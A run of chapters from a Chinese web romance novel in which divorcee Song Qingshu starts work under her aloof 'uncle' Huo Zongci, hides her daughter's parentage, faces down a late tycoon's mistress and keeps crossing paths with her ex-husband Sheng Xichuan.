一直到坐上霍宗辞的车,宋清殊还是懵的。
她这就开始见客户了?
霍宗辞带宋清殊见一个甲方,路上,宋清殊多少有点忐忑。
“小叔,一会儿需要我做什么,怎么跟您配合?”商务车里,她坐在霍宗辞旁边,小心翼翼。
霍宗辞看她一眼:“不用装乖,拿出你在三哥办公室里怼人的魄力来。”
宋清殊:“……”
她摸不清霍宗辞的路数,实在不敢耍贫。
但看他这模样,倒是没有拿自己当个长辈。
宋清殊没问出什么来,索性不说话了。
她的余光不自主地落在身旁霍宗辞的耳钉上。
简洁又常见的钻石款,戴在霍宗辞耳朵上便显得尤其不平凡。
细看之下,他身上的很多单品都很女性化,比如这个钻石耳钉,比如身上的收腰黑色风衣。
但他气质太冷了,便很好的中和了这种女性化,让人只觉得高深莫测。
这位小叔,怕不是个姐妹?
宋清殊胡思乱想,只听一旁的霍宗辞哂笑一声。
他转过头来看她,宋清殊又没来得及收回目光,两人四目相对。
“当年就是这么拿下盛熙川的?”霍宗辞问。
宋清殊微讶,这个霍宗辞,上来就跟她提前夫,也太冒犯了。
“小叔什么意思?”她有点恼,面上不动声色。
霍宗辞眼神一寸不让:“你知不知道,女人,尤其是你这种有点姿色的女人,直勾勾盯着男人是种诱惑?”
宋清殊:“……”
不是,你直的弯的我都不知道,我诱惑你什么了?
第145章 再重逢
宋清殊被霍宗辞问得哑口无言,也不好太得罪他,只得尴尬笑了一下:“我只是觉得小叔的耳钉好看,不知道哪里可以买到同款。”
霍宗辞这才转过头去,没有再为难她。
醒枝微微松了口气,索性转回头。
她眼观鼻鼻观心,再也不敢乱看了。
两人见的客户是个国企建筑集团,今年他们才来的上京,在市中心起了一大片楼盘。
在之前的招标会上,陆氏早早地拿下了采购意向书,但对方迟迟不肯推进。
不得已,霍宗辞才亲自跑一趟。
陆氏毕竟是乙方,宋清殊以为霍宗辞去了哪怕不低三下四,也至少会比对她客气许多。
谁知,他往人家的会客室一坐,跟个大爷似的,就差把脚放茶桌上了。
反而是对方的负责人,一直霍总长霍总短地叫着,又是倒茶又是递烟。
“谢谢,我不吸烟。”霍宗辞拒绝,又看宋清殊,对那人道,“她也不吸。”
倒也不必特地提一嘴,因为对方明显拿宋清殊当他助理,自始至终也没把她放在眼里。
宋清殊听两人聊了一会儿,突然身下一股暖流。
她暗叫一声不好,可能因为这两天太折腾,她月经提前了。
“小叔,张总,你们聊,我去趟洗手间。”她说。
见宋清殊叫霍宗辞小叔,对方负责人愣了一下,这才对她肃然起敬道:“原来您是霍总侄女,失敬失敬。”
看人下菜碟的嘴脸让人反感。
宋清殊甩都没甩他,转身走了。
她的月经果然提前了。
在洗手间里,宋清殊坐在马桶上欲哭无泪,怎么就这么巧,她倒是加上霍宗辞微信了,但总不能让他替她买卫生巾去吧?
她磨蹭了一会儿,最终决定用纸先垫一下,出去再想办法。
谁知人还没动,便收到了霍宗辞的微信:【掉厕所里了?】
宋清殊实话实说:【我生理期了小叔,恐怕回不去了】
霍宗辞:【等着】
等着是什么意思?
又过了一会儿,洗手间里响起一个女声:“宋小姐,您在吗?”
一个女职员送了片卫生巾进来。
等宋清殊再出去,霍宗辞已经谈完了,在走廊里等她。
谁都会有生理期,这没什么,宋清殊不断给自己洗脑,却还是在看到霍宗辞的那一刻起,双颊爆红。
霍宗辞倒是没有取笑她,一直神色淡淡的。
也不知道他怎么跟甲方的职员说的,他不尴尬吗?
两人下午出来的,再回公司就已经快到下班时间。
“你痛经吗?”霍宗辞突然问她。
宋清殊一愣:“还,还好。”
之前她疼得厉害,生完珍珠后,竟然减缓了许多。
医生说是因为她孕期锻炼比较多,再加上胖了一点多缘故。
这四年里,她从86斤长到100左右,身体倒是的确好了。
“那一起吃个饭再回。”霍宗辞说,根本没给她拒绝的机会。
于是,宋清殊便跟霍宗辞去了餐厅。
两人吃饭,就是纯吃饭,期间一点交流都没有。
起初宋清殊还有些不自在,但她看霍宗辞自在得很,慢慢也就放开了。
宋清殊吃得不少,反而是霍宗辞随便吃了两口,就掏出手机处理起了公务。
他不吃,也不嫌宋清殊慢,松弛感拉满。
“小叔,是不合口味吗?”她吃到尾声,才忍不住多问一句。
霍宗辞摇头:“这是我最喜欢的一家餐厅。”
最喜欢的餐厅居然也只吃几口,还真是让人琢磨不透。
吃完饭也才7点钟,两人从餐厅出门,正看到一行人进门。
被众人簇拥走在中间的,不是盛熙川是谁?
葬礼上匆匆一面,她没有仔细看,如今再见,才发现盛熙川比几年前清瘦了一些。
他过去是穿衣显瘦脱衣有肉的身材,高大魁梧。
如今看,整个人似乎比过去小了一码,多了几分飘逸的仙气。
他穿深灰色风衣,还是那张全世界欠他的不耐烦的冰山脸。
宋清殊不确定盛熙川有没有看到她,但她看到他脚步很快,目不斜视地进去了。
上京很大,但他们这个阶层的人活动的圈子却也就那么多,遇上也是不足为奇。
她记得签离婚协议那天,盛熙川是要她再也不要出现在他面前的,以免给他不切实际的期待。
如今时过境迁,这句话也不作数了吧?
他竟然比她更快放下。
一直到坐进霍宗辞的车里,宋清殊都很沉默。
“四年了,还没放下呢?”霍宗辞睨她。
这是他第二次没有边界感了,宋清殊没好气:“是我提的离婚,我有什么放不下的?”
刚离婚的时候,她的确有一点不习惯。
但也就那么十天半个月而已,之后,她便忙着养胎,生娃,把生活拉回正轨,想起盛熙川的时候其实很少。
“你最好是。”霍宗辞的语气听上去可不太信。
但这事跟他又没什么关系,宋清殊懒得理他。
司机先送宋清殊回家。
到了陆家门口,司机停下。
霍宗辞突然道:“既然以后要跟着我做事,不如早上一起上班。这样有什么工作也可以提前沟通。”
宋清殊想了想:“也行,我开车接您?”
霍宗辞:“我的司机顺路,可以先接你,再来我家接我。”
那更方便了,宋清殊果断答应下来,
“明天开始?”霍宗辞问。
“明天不行,我要回花都一趟。”宋清殊说。
接下来,两人又聊了一下后面工作的开展。
霍宗辞说,下周四是全体员工的幸福日大会,他准备在那个时候把宋清殊介绍给陆氏集团的全体员工,替她办一个小型的欢迎仪式。
宋清殊便又提到了莫兰溪,希望霍宗辞替莫兰溪也安排一个合适的职位。
虽然名义上莫兰溪是她助理,但她总觉得对莫兰溪的能力来说,有点大材小用了。
“以她的学历和能力,做集团公司副总的助理,能胜任,但不算屈才。我考察一段时间再定。”霍宗辞说。
两人聊完,宋清殊才下车跟霍宗辞挥手再见。
她没注意到的是,不远处一辆迈巴赫里,盛熙川半降车窗,眼神一直没有离开过。
他看表,宋清殊在霍宗辞的车里坐了足足十五分钟。
第146章 追过女孩子吗
霍宗辞这个人,盛熙川打过几次交道。
他自己性子就傲气,霍宗辞比他还要傲气三分,为人处事只见周到不见厚道。
因此,盛熙川格外不喜欢他。
但宋清殊和霍宗辞似乎很透脾气,两人一起出餐厅时,有别的客人进去,盛熙川还看到霍宗辞伸手将那人和宋清殊隔出了一个安全距离来。
最重要的是,霍宗辞英俊且单身。
如今几年过去了,不知宋清殊是不是单身?
宋清殊没注意到盛熙川的车,但霍宗辞早就看到了。
不然他也不会在停车后又拖了她十五分钟。
望着宋清殊那抹纤细的背影,霍宗辞出了好一会儿的神。
“霍总,走吗?”司机问。
霍宗辞没说走,也没说不走,却问道:“张林,你追过女孩子吗?”
又过了一会儿,霍宗辞的车掉头,跟盛熙川的车交汇而过。
在半降的车窗里,两个男人彼此对视。
盛熙川眸光很沉,霍宗辞偏阴冷一些,两人都没有开口,气氛却异常剑拔弩张。
这一切宋清殊毫无察觉,她按照计划,周末带莫兰溪回了花都。
到家时,珍珠正在客厅的小黑板上用粉笔写字。
她写:宋清殊,宋璨,中间用红色粉笔画了颗爱心。
一见宋清殊进门,赶紧飞扑过来:“妈妈!”
她窝进宋清殊怀里。
宋清殊捧着珍珠粉圆的小脸亲了又亲,接着,将莫兰溪介绍给她。
珍珠乖乖地叫了声“姨姨”。
莫兰溪看小黑板上的字,很是诧异,便把珍珠接过来抱在怀里问道:“珍珠,这是你写的吗?”
珍珠点了点头。
莫兰溪赞叹:“好厉害。”
这个年龄的小孩子,能认识几个简单的汉字就很不错了,“清殊”“璨”都不算好写,她居然都写对了。
而且字的大小适中,结构紧凑,不仅不歪歪扭扭,还很有锋芒,有点瘦金体的意思。
夸完珍珠,她又问宋清殊:“珍珠在上什么课外班,是请了书法老师吗?”
“没有,她太小,看不出对什么感兴趣呢,到时候上不上课外班看她自己。”宋清殊说。
“你已经培养的很好了。”莫兰溪夸她。
宋清殊不太喜欢跟人讨论珍珠特殊的一面,只是笑了笑。
保姆们给莫兰溪倒了咖啡和一些小点心-+-就出去了,此时,客厅里只剩下她们三人。
宋清殊示意莫兰溪把珍珠放在沙发上。
之后对珍珠道:“珍珠,妈妈今天回来,是准备接你去上京,以后我们在上京生活,你也会在那里读书。”
莫兰溪心中的诧异更深了一层,她从来没见过一个母亲这样跟三岁的女儿谈话,宋清殊拿珍珠当跟自己一样的成年人看待。
更让她惊讶的是珍珠的态度。
珍珠许久没说话,好像在认真思索。
三分钟后,她开口:“可我很多朋友在这边,我需要时间跟她们告别。”
宋清殊点头:“三天,够不够?”
珍珠:“够了。妈妈要和我一起给朋友准备礼物。”
宋清殊答应她:“好,妈妈还可以每年带你回来看她们。”
莫兰溪平时很有边界感,不会在别人母女交谈时插话,却终于忍不住了。
“珍珠,你不问问为什么要回上京吗?”
珍珠神色平静:“外公去世了,外婆需要妈妈。”
花都的气温比上京高许多,一落地便觉得温暖舒适。
可莫兰溪平白地出了一身冷汗。
珍珠这孩子,怕是上辈子忘喝孟婆汤了吧。她暗自想。
朋友的问题解决了,宋清殊又跟珍珠沟通另一件事。
“以后,在有除了外婆和干妈的第三个人在场时,你叫我姨妈,叫兰溪姨姨妈妈,好不好?”
这次,珍珠果断拒绝:“不好,我自己有妈妈,不能叫兰溪姨姨妈妈。”
宋清殊神情居然带了点讨好:“妈妈有苦衷。”
玻璃门外,保姆扯了个水管在院子里浇草坪,珍珠显然不想跟宋清殊继续这个话题,突然站起身“噔噔”跑出去:“阿姨,我跟你一起浇。”
她哪里是浇草坪,分明是想玩水。
用小手按了出水口一通乱喷,很快,她和保姆身上的衣服都湿了。
两人笑成一团。
莫兰溪看着她,又感受出了几分小朋友的天真来,身上的凉意少了一些。
“珍珠好聪明啊。”她说。
宋清殊无奈:“面对这样的孩子,我有时候就很小心翼翼。一方面怕伤仲永,一方面又不想她太聪明,没有童年的快乐。”
但也没什么办法,她得遵从珍珠的天性。
莫兰溪在宋清殊家里住了几天,也不知道宋清殊怎么跟珍珠沟通的,等她们一同返程回上京时,珍珠就已经接受了在外面叫她妈妈这件事。
因为落地上京后,她们在机场遇到了苏白。
此时,苏白应该是因公出差,身边跟着几个医院同事。
而宋清殊一行有五位:她,莫兰溪,珍珠和两位保姆。
“清殊。”苏白远远地对她招手,跑了过来。
宋清殊抱着珍珠的手僵了僵。
“苏白。”她藏起心事,对苏白笑。
“这是准备来上京发展了?”苏白问。
宋清殊点头,又对他介绍:“这是我表妹,莫兰溪。”
莫兰溪跟苏白问好,很大方得体。
苏白又看向宋清殊怀里的珍珠。
面前的小女孩,又白又软,像个面团子,一双眼睛看上去却很有故事感。
“谁的宝宝,真可爱。”苏白伸手捏一下珍珠的小脸。
珍珠三岁,正是厌男的年纪,她看苏白长得和善,一双大眼睛盯着他看,没有别过头,已经算是给他面子,被他捏脸,马上抿了嘴要发脾气。
宋清殊心里紧张,好像怕苏白将珍珠夺走似的,将她抱得更紧。
她还没开口,珍珠突然对着一旁的莫兰溪伸出一双小肉胳膊:“妈妈抱。”
莫兰溪原本还提了口气,此时,心念一动,将珍珠接了过去。
“这是我女儿,珍珠。”莫兰溪说,又对珍珠道,“珍珠,叫苏叔叔。”
珍珠没叫,一双眼睛看着苏白。
反而是苏白被珍珠盯得不自在,先败下阵来。
“大名叫什么,莫珍珠?”不知为什么,他莫名觉得珍珠这孩子面熟。
莫兰溪笑了:“苏先生说笑了,珍珠随父姓。”
至于父亲姓什么,她和宋清殊都没说。
恰好此时陆家接机的人到了,远远对着她们招手。
第147章 放开她
“那我们先走了,苏白。”宋清殊对苏白笑笑,径直带着一行人走了。
苏白望着她们的背影,呆了半分钟才去办登机手续。
不知怎么的,他满脑子都是珍珠的模样。
这孩子真好看,长得肉嘟嘟的,眼神里却毫无懵懂。
他想,如果宋清殊和盛熙川的孩子还在,如今也应该这么大了吧。
而珍珠坐在回去的车上,突然问道:“妈妈,刚才那个人是我的生物学父亲吗?”
莫兰溪刚拧开一瓶纯净水喝了一口,此时,猛地咳嗽了起来。
陆先生刚去世,宋清殊本想着先住在陆家,这样也热闹些,免得陆夫人伤怀。
但陆夫人直接将她的想法否了。
陆夫人说,陆家人多眼杂,佣人就有十几个,又都是在陆家工作了十年以上的。难保不跟其他世家的佣人有来往,万一把珍珠的事说出去,平添麻烦。
宋清殊自己买的那个小两居,住不下这么多人。
她做主,替宋清殊和莫兰溪各买了一套大平层,两人上下楼,也能互相照应。
最重要的是,万一有不速之客,发现珍珠和宋清殊住在一起,也更容易蒙混过关。
陆夫人说:“也就是这几年难熬,时间越久,关注的人就会越少。等珍珠上了学,在家的时间变少,就更没什么事了。”
宋清殊起初也有些忐忑,但通过两次见面盛熙川对她的态度,已经放心了很多。
盛熙川对她彻底的无视,自然不会关心她身边有谁,珍珠是谁的孩子。
至于盛家其他人,巴不得这个孩子不存在,谁会主动跑来认呢?
但小心驶得万年船,多注意些总是好的。
陆夫人替宋清殊想的周全。
宋清殊也更加坚定了替陆夫人效力,守住家业的决心。
她很快带着珍珠和两个保姆安顿了下来。
两个保姆比宋清殊大不了几岁,分别是宋清殊生珍珠时的月嫂和后来照顾珍珠的育儿嫂,因为表现好,被她高价从机构挖了过来,也有三年多了。
这三年多,她们一直跟宋清殊生活在一起,她决定回上京发展,也都毅然决然地跟了来,颇有些同甘共苦的意思。
把珍珠交给她们照顾,宋清殊一直很放心。
一切安顿好的第二天,宋清殊和莫兰溪便开工了。
按照约定,她等霍宗辞的车来接。
宋清殊早出门20分钟,她趁机看看小区的基础设施,有没有适合保姆带珍珠玩的地方,顺便再走到外面的马路边去等。
此时,一辆灰色轿车停在了面前。
她以为是霍宗辞的车,正要拉开车门,只见车窗降下,露出一张中年女人的脸。
那女人看宋清殊的神情很讨好,但又带着执拗。
“宋小姐,我能跟你聊聊吗?”
宋清殊记得这张脸,是葬礼第三天出现的那个女人。
她神情冷淡,面若凌霜:“我没什么要跟你聊的,陈南枝。”
说完,宋清殊脚步不停往前走。
那辆车缓缓跟上。
陈南枝见宋清殊不理她,她的声音开始拔高:“我们聊聊陆枭的事。
宋小姐,陆展是你弟弟,陆枭也是,你不能厚此薄彼。”
宋清殊想笑。
于是,她又停下脚步,审视车内的女人。
一张美丽的脸,看上去比陆夫人还要温婉三分,但美的没有什么特色,不仅不张扬,还似乎生怕得罪谁。
但她小心翼翼的外表下是贪婪和野心。
这个长相和神情,都似曾相识,宋清殊在记忆里找了又找,是了,盛夫人陈婉容是这样的,她们一样坏得窝窝囊囊。
宋清殊似笑非笑地盯着她看:“陆枭这个名字是你取的吗?”
陈南枝愣了愣:“是。但长林也说这个名字很好听。”
宋清殊:“枭是最忘恩负义的鸟,会吃掉自己的母亲。
陈南枝,你希望他枭神夺食,把别人的东西据为己有。
殊不知,有你这样贪得无厌的母亲,他做枭雄,也会先从为了自己的利益牺牲你开始。”
陈南枝被宋清殊这番话堵得一口气险些上不来。
在陆夫人那里吃了闭门羹,她才剑走偏锋来找宋清殊。
看宋清殊长了一张柔弱的脸,当她是个好说话的,没想到被这样生怼。
陈南枝脸色青白交加,难看极了。
她嘴唇抖了一下,却还是忍了脾气说:“不管怎么说,枭儿是长林的孩子,长林去了,陆家不能不接纳他,让他漂泊在外!”
“呵。”宋清殊冷笑,“我干爸已经入土为安,谁知道你是不是欺负我们陆家没人,才来这么一出。今天你带个陆枭来,明天她带个陆鸟来,来一百个野孩子,我干妈都得认么?”
车子停下,陈南枝已经出来站到了宋清殊面前。
她看上去已经有点低声下气:“宋小姐,陆夫人认与不认是陆夫人的选择,我请你喝杯咖啡,我们谈谈好不好?”
宋清殊:“既然是干妈的选择,去跟我干妈谈,我跟你谈不着。”
此时,驾驶位开车的男人不耐烦了。
“姐,你少跟她废话,想跟她谈还不容易。”
那人说着也下了车,是个五大三粗一脸横肉的男人。
他过来拉宋清殊的手臂:“走,我姐找你聊聊,先上车。”
宋清殊不走,气得猛地甩了一下手臂:“别拿你的脏手碰我!”
那人被她面斥,一时间脸色也异常难看。
“我给你脸了是吧?上车!”他攥着宋清殊的手腕不撒手。
宋清殊拼命挣扎:“放开!”
奈何两人体力相差太悬殊,根本挣脱不开。
此时,霍宗辞的车也终于到了。
车子先来接她,再去接霍宗辞,所以此时车上只有司机张林。
张林下车,马上拦在那人面前:“放开我们宋总!”
两人对打起来。
那人目测200多斤,张林只是个中等身材的小伙子,很快被那男人撂倒,摔在地上。
“废物东西!”那男人笑得狰狞,又看宋清殊,“走不走?不走,今天你可哪儿也去不了。”
他又要扯她的手臂。
此时,一个声音喝道:“让你放开她,没听见吗?”
第148章 谁在帮她
来的是个陌生面孔,看上去也没有这个和陈南枝在一起的男人块头大,但他黑衣黑裤,像个保镖打扮,看着就敏捷精壮。
宋清殊还没看清楚,那人已经扯过大块头男人,接着,一个过肩摔,将大块头踩着脖子撂倒在地上。
这是个练家子。
应该是霍宗辞的人吧,宋清殊暗想。
“宋小姐说了,不要打扰她,你们聋了是不是?”来人声音不大,但威慑力十足。
此时,陈南枝已经吓得闪到了一边,生怕误伤到她。
大块头被踩着脖子,脸憋得通红,说不出话来,只能双手作揖求饶。
但那人不理他,只看宋清殊:“宋小姐,这两人怎么处理?”
宋清殊不想把事情闹大,主要是陆先生五七还没过,万一让别人知道闹出个“私生子”来,影响也不好。
她一步步走到陈南枝面前,冷冷淡淡盯着她:“陈南枝,今天这事我可以当作没发生过,但再有一次,绝不会这么简单。”
陈南枝张了张嘴,终是什么都没敢说。
宋清殊示意那人把大块头放了。
那人松开脚,大块头赶忙一骨碌爬起来,迅速开门上了车,哪里还有刚才凶神恶煞的气势?
那辆车落荒而逃,留宋清殊在原地。
“多谢。”宋清殊对那人说。
那人却生怕宋清殊问他什么一样,转身跑了。
宋清殊:“……”
一旁拍灰的司机:“……”
坐车去接霍宗辞的路上,宋清殊还是没忍住问司机:“刚才那个人是小叔的保镖吗?”
司机道:“霍总的确有很多保镖,但这个人我还真没见过。”
也许这个人一直在暗线吧,还真的多亏了他。
她不知道的是,在她和陈南枝起争执的时候,对面一辆跑车里一直有一双幽深的眼睛,在默默注视着她。
到了霍宗辞楼下,又等了十分钟,才看到一身白色西装的他姗姗来迟。
霍宗辞一坐进车里,就丢给宋清殊一样东西:“给。”
一个小小的丝绒盒子。
宋清殊愣了一下,接过来打开。
里面是一对钻石耳钉——
和霍宗辞戴的同款。
她只是随口一夸,没想到他居然准备了给她,还真是有心了。
“谢谢小叔。”宋清殊不喜欢戴这些东西,却还是欣然收了。
对她而言,这是霍宗辞在有意示好。
他怎么想的,她不清楚,但该做的表面功夫,他倒是愿意做。
这一点,就比二叔三叔要通透许多。
她得收,不仅要收,还要买个适合男士的礼物回给他,这样才是礼尚往来,证明他们是统一战线上的人。
两人在车里又简单聊了聊公司的事。
“以后你跟着我,归我管,不用管老二老三说什么。”霍宗辞说,“他们要是有什么意见,让他们跟我反映,说不着你。”
初次接触时,霍宗辞看着那样不好相与,说话还屡屡犯她的忌讳,没想到现在看还是个护犊子的。
宋清殊突然觉得人不可貌相。
她点点头,该有的礼数一样不少:“我初来乍到,肯定也有很多做不好的地方,还要请小叔多包涵,也多教教我。”
她几次想感谢他派人来为她解围的事,想了想又觉得霍宗辞既然不主动提,显然不想掺和干爸干妈的私事,还是强忍着闭了嘴。
这一天,她正式在公司入了职,被霍宗辞以视频会议的形式,介绍给了从上到下几千名员工。
宋清殊长得原本就比实际年龄显小,又一副柔柔弱弱不食人间烟火的模样,刚进陆氏就是执行副总,自然不少人都不服气。
特别是她还跟着霍宗辞。
两人一个是干弟弟,一个是干女儿,比陆家二叔三叔更像外人。
宋清殊简单布置了一下自己的办公室,拿了杯子去接咖啡,还没到茶水间,便听到了两个高层在大声议论。
“这个新来的宋总,看着还不如她的助理像总监,也不知道有什么能耐。”
“会投胎,会攀附就是能耐,你要是陆总和莫总的干女儿,这会儿来的就是你了。”
这两句刻薄话,宋清殊倒是能忍,她立在了外面没有动。
谁知里面又传出来一句——
“你刚来上京,不知道情况,她几年前可是上京的风云人物。”
接着那人绘声绘色的讲了她如何因为一本日记被送出国,如何被宋家“卖”给了盛家做少夫人,又如何在唯一的保护伞盛老爷子去世后,从婚姻里狼狈出局,离开的灰头土脸。
“那时候盛小爷有心上人,宋清殊也喜欢莫总弟弟,但宋家为了攀附,脸都不要了……”
宋清殊踩着高跟鞋走进去,把马克杯“啪”地一下放在了咖啡机下面。
那两个女人吃了一惊,就要鸟兽散。
“站住。”
她声音不大,但听上去清冷又权威。
两人被焊住了脚步。
“宋总……”两个女人露出比哭还难看的笑容
宋清殊简明扼要:“你们两个去办一下离职手续。”
同一层次的人才撕得起来,她跟两个长舌妇撕逼,没必要。
“宋总,我们只是随随便便说说,再也不敢了。”其中一个说。
另一个,还在强撑:“我是长瑜总招进来的人,你没权利开除我。”
宋清殊淡淡微笑:“我是执行副总,人事部归我管理。”
待那两人还想说什么,宋清殊已经去敲开了人事部经理的办公室门。
“给这两个人办理一下离职手续。”宋清殊说。
接着,把刚才两人对话的录音递过去,“她们是过错方,你去找一下法务部门,看看是否还需要赔付n+1。如果还敢要,我就起诉她们诋毁我的名誉。”
她连后面怎么做都嘱咐好了,人事经理哪怕想徇私,为两人争取点好处,也不敢了。
陆三叔来开了个会就回家了,人不在公司。
“宋总,我得问一下长瑜总。”人事经理说。
“这不在三叔的权力范围内,你直接办,有什么事我担着。”宋清殊说。
她声音不大,情绪起伏也不大,听上去并不凶。
可不知怎么,就是带了一股不容置疑的威严。
人事经理不敢再多说什么,甚至没在工作软件上向陆三叔请示,直接按她说的办了。
等陆三叔再回公司,才发现他的得力干将就这么被开除了。
他憋了大火。
第149章 立威
“宋清殊,你是不是太过分了?”陆三叔踢开宋清殊办公室的门,一脸怒气地看着她。
在陆三叔来之前,宋清殊已经对那两个被开除的员工有了基本的了解。
另一个只是嘴欠,没什么背景。
但那个财务部经理张兰月,跟了陆三叔十年,两人交情匪浅。
她是陆三叔的亲信,甚至有可能是情人。
过去一直在公司横着走,高层们都让她三分,没人敢动。
没想到宋清殊一来,新官上任三把火,先烧到了她身上。
陆三叔脾气大,在公司是出了名的。他大嗓门一喊,全公司都听到了。
不少人伸着脖子往这边看。
众人都以为宋清殊这次踢到了铁板,刚因为她开除张兰月产生的那点敬意又收了回去,一个个等着看她的笑话。
宋清殊倒没什么情绪,见陆三叔进来,主动从办公桌后起身。她替陆三叔倒了杯茶,又搬了把椅子给他。
陆三叔气成这样,都没让宋清殊去他办公室,而是直接来找她,这证明她第一次来的时候说的那番话着实镇住了他,让他有所忌惮。
宋清殊不慌。
“三叔息怒,喝杯茶,消消火。”
她把茶杯放到他手边,带了点笑容,“我年轻不懂事,您就拿我当亲侄女,我做错了事,您该打就打,该骂就骂。但这件事,我有自己的考虑。
我是您侄女,那个张兰月到底是个外人,您总要给侄女一个辩解两句的机会,是不是?”
她看上去乖巧又客气,很拿他当回事。陆三叔原本是抱着吵一架的心来的,被她一客气,陡然有点磨不开面。
他尴尬的咳嗽一声,接过了宋清殊的茶喝了一口,定定神。
之后,端出了长辈架子来说教她:“也不怪你,这么多年都没上过班,职场不能儿戏,总不能因为绊两句嘴,就把下属开除,有了这一次,以后管理怎么做,谁还能信服你?”
宋清殊微微垂头:“三叔说的是。”
陆三叔见她这样乖顺,这才露出了笑脸:“既然这样,那我做主,再让小张回来。”
宋清殊:“三叔,不可以。”
陆三叔皱起了眉头,又要发火。
宋清殊才不在意他怎么想,开始缓缓地陈述她的理由:“三叔,抛开张兰月诽谤我的那些话不谈,开除她,算我心胸狭窄。
可她跟我说,她是您的人。
这句话我很不理解,陆氏虽然也是家族企业,但到底是现代化大公司,又不是古代清宫,要谋权篡位。她是陆式职员,何来亲信一说?”
宋清殊只是不爱说话,她说起话来,很能抓得住重点。
眼下,正是敏感的时候,陆先生一去世,都觉得陆家二叔三叔要谋权,谁都怕落人口实。
果然,这番话轻飘飘的递过去,陆三叔已经没了刚才的气焰,他眼神躲闪了一瞬。
“她就是情急之下乱说的,张兰月的确是当年我招进公司的,又在我手底下做事,可能走得近一些,但是我对下级绝对一视同仁,没有偏私。”
他没想到被宋清殊反将一军,顿时开始陷入自证的陷阱。
宋清殊面带微笑:“三叔,我当然相信您,可张兰月敢对着我一个刚来的人说这话,就证明她私下里一直仗着是您的亲信为所欲为。
长此以往,不仅影响您的声誉,也会对陆氏其他人产生不良示范。”
“您说是吧,三叔。”
陆三叔哪里还说得出什么!
他强撑着长辈面子,又教育了宋清殊两句,告诉她做人不要太过激进,留三分余地对谁都好。
宋清殊笑着一一答应。
原本陆三叔来就窝了一肚子火,走得时候,这把火烧得更旺了。
在外面等着看笑话的人,没看到宋清殊的笑话,反而看到了陆三叔的,一个个错愕不已。
这位长瑜总,一直凶神恶煞的,居然被宋清殊训成了纸老虎,也是让人大跌眼镜。
与此同时,霍宗辞的办公室门一直开着条缝,他在留意里面的动静,准备在适当的时候替宋清殊撑腰。
到底是没打起来,不一会儿,他的助理进门,把发生的事都一一汇报给了他。
霍宗辞还是那个评价:“有点意思。”
这个宋清殊,很合他的胃口。
经此一战,陆氏上下,没人敢不把宋清殊放在眼里了。
但她也彻底得罪了陆三叔,前路不会太好走。
陆二叔和三叔原本就比较抱团,因为她的出现,更加团结了起来。
两人私下里开了不少会,一致认为:宋清殊的行为都是陆夫人授意的,她是陆夫人的枪。
宋清殊才不管他们怎么想,她自认已经是经历过人生风雨的人,很多事都通透了。
把事做好,比什么都重要。
她这通操作,为自己换来了几天短暂的安宁。
很快到了周末,宋清殊打电话约楼珏逛街,她要选一样东西回赠给霍宗辞。
她看不透霍宗辞在想什么。但对她来说,他暂时是自己人。
那对钻石耳钉约一克拉大小,净度很高,应该能值个十几万。
宋清殊也准备在这个价位里买个东西送他。
十几万的表霍宗辞应该看不上,想来想去,也就围巾,袖扣之类的合适。
两人在奢侈品专柜逛了一圈,终于有一款相对入眼的。
鲸尾款,扣面上镶了大颗的宝石,奢华又精致。
“小姐眼光真好,男士如果收到这个袖扣,一定会非常开心。”柜姐的小嘴像抹了蜜,“一共两个颜色,您看喜欢银色还是黑色?”
宋清殊和楼珏恋爱经验都不多,都不怎么擅长给男人选礼物。
她看不出差别来,楼珏也看不出什么,想了想,便拉了个正在买东西的路人。
“先生,帮我们试一下这个袖扣可以吗?”楼珏说。
那路人一头粉色头发,看上去时尚又帅气。
面对两个大美女的请求,他非常乐意效劳,很自然地接过去,分别戴在了自己衬衫的左右袖口上,举着双手给两人看。
“我建议选银色的,银色这个更时尚一点,黑色的显贵,但也稍微有点显年纪。”他笑着给建议。
听他这样说,宋清殊便也决定选银色了。
毕竟霍宗辞虽然已经三十几岁,但的确前卫。
“多谢,那我就买银色。”她说。
说话间,又有两个人进了店里,楼珏和宋清殊都是一愣。
第150章 给哪个男人的
来的不是别人,是苏白和盛熙川。
四人八目相对,盛熙川和宋清殊谁都没说话。
倒是苏白先对楼珏开口道:“老婆,好巧啊。我们和朋友来买点东西,没想到你和小清殊也在!”
他的惊讶表情做得太刻意,楼珏扯了扯唇角。
这一切如果是巧合,她把袖扣吃了。
楼珏给了苏白一个“回去再找你算账”的眼神,苏白下意识往盛熙川身边靠了靠。
谁知,苏白话音刚落,试袖扣的男人惊讶开口:“这位大美女居然是你夫人吗?真有缘分。”
“是啊,要不我说真巧呢!”
苏白如蒙大赦,赶紧拉了男人给楼珏和宋清殊介绍:“这位是段睿,我和熙川的大学同学。段睿有事在上京呆一段时间,我们陪他逛逛。”
又介绍楼珏,“这是楼珏,我太太。”
介绍宋清殊时,他顿了一下,“这位是宋清殊……”
宋清殊客气地接过话头,微笑道:“我是阿珏的朋友。”
楼珏不得不跟着苏白跟段睿寒暄了两句,而宋清殊,自始至终点头微笑,眼睛不往盛熙川那边看。
段睿把袖扣取下来还给宋清殊,她道谢接过,拿着去前台买了单。
“你们先逛,我们就告辞了。”她拿着礼袋,漫不经心地把发票收进自己包里,对苏白和段睿客客气气地点了点头。
而盛熙川从进门起就一言不发,宋清殊便也什么都没说。
她拉着楼珏往外走,路过他时也刻意目不斜视。
离婚了,就一拍两散,做陌生人,其实挺好的。
当时她要离婚的时候,期待的也是这种状态。
可不知怎么,心里就是有一口气堵着,咽不下,吐不出,憋闷得厉害。
宋清殊自己都不知道,她在心里赌一口气:你不理我,我还不要搭理你呢。
看着宋清殊和楼珏离开,盛熙川的眼神也一路跟了出去。
良久,他才收回视线,对苏白苦笑道:“你何苦呢。”
一旁的段睿和苏白交换了一个眼神,都有点同情他。
这个偶遇,是苏白昨天听到了楼珏和宋清殊的微信,特地制造的。
为了显得不要太刻意,他甚至安排了段睿打头阵。
可没想到是这个结局。
苏白是看盛熙川太可怜,他天天嘴上说着不管,又忍不住自作主张替他操心。
本以为,好几年过去了,多大仇怨也不至于还记着。哪怕两人做不了伴侣,也能做朋友呢,实在做不了朋友,还能做熟人。
只要宋清殊愿意跟盛熙川说句话,他估计就能像吃了精神氮泵一样,振奋上两天。
谁知,不仅没让两人说上话,还弄巧成拙,起了反作用。
宋清殊买了个袖扣,这样性别鲜明的礼物,也不知准备送给谁。
苏白没话找话:“估计是想明天回宋家,特地来给宋尧挑了个袖扣吧。”
段睿给了苏白一个看傻子的眼神,忍不住低声吐槽:“你说这话自己相信吗?”
苏白:“……”
盛熙川的神情是一片麻木,好像根本没有听到他们两个的话一般。
